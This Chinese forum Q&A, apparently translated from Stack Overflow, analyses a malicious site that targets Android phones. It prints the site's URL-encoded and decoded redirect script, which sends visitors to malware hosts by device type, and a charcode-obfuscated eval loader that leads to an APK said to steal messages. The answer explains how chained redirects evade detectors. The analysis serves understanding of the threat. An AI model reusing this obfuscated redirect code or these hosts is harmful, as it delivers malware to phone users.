为什么恶意软件病毒网站会使用多个链接跳转?

时间:2018-02-23 03:45:22

标签: javascript android malware virus malware-detection

最近我发现了一种新的恶意软件网站:它只攻击Android手机,从PC看起来很正常。它成功地避开了所有恶意软件检测器。

要了解它是如何运作的,请查看网站:www.mfflag.com

在html的开头,它有一个脚本:

<script>
<!--
document.write(unescape("%3Cscript%20type%3D%22text/javascript%22%3E%0Avar%20browser%20%3D%20%7B%0Aversions%3A%20function%20%28%29%20%7B%0Avar%20u%20%3D%20navigator.userAgent%2C%20app%20%3D%20navigator.appVersion%3B%0Areturn%20%7B%20//%u79FB%u52A8%u7EC8%u7AEF%u6D4F%u89C8%u5668%u7248%u672C%u4FE1%u606F%20%0Aios%3A%20%21%21u.match%28/%5C%28i%5B%5E%3B%5D+%3B%28%20U%3B%29%3F%20CPU.+Mac%20OS%20X/%29%2C%20//ios%u7EC8%u7AEF%20%0Aandroid%3A%20u.indexOf%28%27Android%27%29%20%3E%20-1%20%7C%7C%20u.indexOf%28%27Linux%27%29%20%3E%20-1%2C%20//android%u7EC8%u7AEF%u6216uc%u6D4F%u89C8%u5668%20%0AiPhone%3A%20u.indexOf%28%27iPhone%27%29%20%3E%20-1%2C%20//%u662F%u5426%u4E3AiPhone%u6216%u8005QQHD%u6D4F%u89C8%u5668%20%0AiPad%3A%20u.indexOf%28%27iPad%27%29%20%3E%20-1%2C%20//%u662F%u5426iPad%20%0A%7D%3B%0A%7D%28%29%2C%0A%7D%0Aif%20%28browser.versions.iPhone%20%7C%7C%20browser.versions.iPad%20%7C%7C%20browser.versions.ios%29%20%7B%0Awindow.location.href%20%3D%20%22http%3A//9ifmz.polishingmedia.cn%3A9000/668899.html%22%3B%0A%7D%0Aif%20%28browser.versions.android%29%20%7B%0Awindow.location.href%20%3D%20%22http%3A//zm87i.gaoxiaopic.cn%3A8301/668899.zip%22%3B%0A%7D%0A%3C/script%3E"));
//-->
</script>

它是URL编码的,通过解码后,它看起来像:

<script type="text/javascript">
var browser = {
versions: function () {
var u = navigator.userAgent, app = navigator.appVersion;
return { //
ios: !!u.match(/\(i[^;] ;( U;)? CPU. Mac OS X/), //ios
android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android
iPhone: u.indexOf('iPhone') > -1, //
iPad: u.indexOf('iPad') > -1, //iPad 
};
}(),
}
if (browser.versions.iPhone || browser.versions.iPad || browser.versions.ios) {
window.location.href = "http://9ifmz.polishingmedia.cn:9000/668899.html";
}
if (browser.versions.android) {
window.location.href = "http://zm87i.gaoxiaopic.cn:8301/668899.zip";
}
</script>

所以基本上第一个跳转是为Android下载一个zip,而.zip链接只能从某些移动浏览器访问。下载并解压后,它也是一个javascript:

<html><head><title>loading</title><script>var d = [119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,32,61,32,39,104,116,116,112,58,47,47,100,115,97,101,119,113,46,110,118,114,101,110,97,105,46,99,99,58,56,51,51,48,47,54,54,56,56,57,57,95,99,51,100,52,54,57,48,50,51,48,56,54,97,49,55,55,56,100,56,55,50,98,101,52,49,97,99,54,52,50,51,57,46,104,116,109,108,39];  var u = '';  for(var i = 0; i < d.length; i++){          u += String.fromCharCode(d[i]);      };      eval(u);      </script></head></html>

这是从var解码后的另一个跳转,然后在那个地方尝试在手机上安装.apk文件,并显示一些色情视频。

apk是一种病毒,会读取您的每条消息并发送给攻击者使用的电子邮件。

问题是为什么不直接跳?为什么这种攻击会使用多次跳转到最终站点?

第二,为什么所有恶意软件检测程序都无法检测到此类威胁?是因为脚本仅针对移动设备而且检测器没有使用该代理标记吗?

1 个答案:

答案 0 :(得分:0)

  

问题是为什么不直接跳?为什么这种攻击会使用   多次跳转到最终站点?

     

其次,为什么所有恶意软件检测器都无法检测到这种情况   威胁?是因为脚本只针对移动设备和   探测器没有使用该代理标签?

使用多重重定向会使手动分析过程变得无聊,另一方面恶意软件检测程序和恶意活动检测程序在大多数情况下不会分析主题,因为多个重定向会使其服务器或本地引擎繁忙(它们必须遵循重定向才能到达最终目的地) )。

恶意软件作者使用一些睡眠功能或大量的数学计算(因为一些恶意软件检测器算法检测简单的睡眠或等待功能并中和这些技巧)到重定向之间的随机间隙,并使重定向过程耗费时间。

恶意软件检测器必须在(n)重定向发生后扫描多个重定向,因为自保护算法和机制认为耗时的活动试图使引擎忙或通过堆栈溢出等来阻止它。当然这个技巧很老但它仍然有效!

这是无限制的游戏,恶意软件作者使用新技巧并且每天变得更聪明,另一方面恶意软件检测器学习这些技巧并改进它们的算法和AI引擎并尝试防止攻击。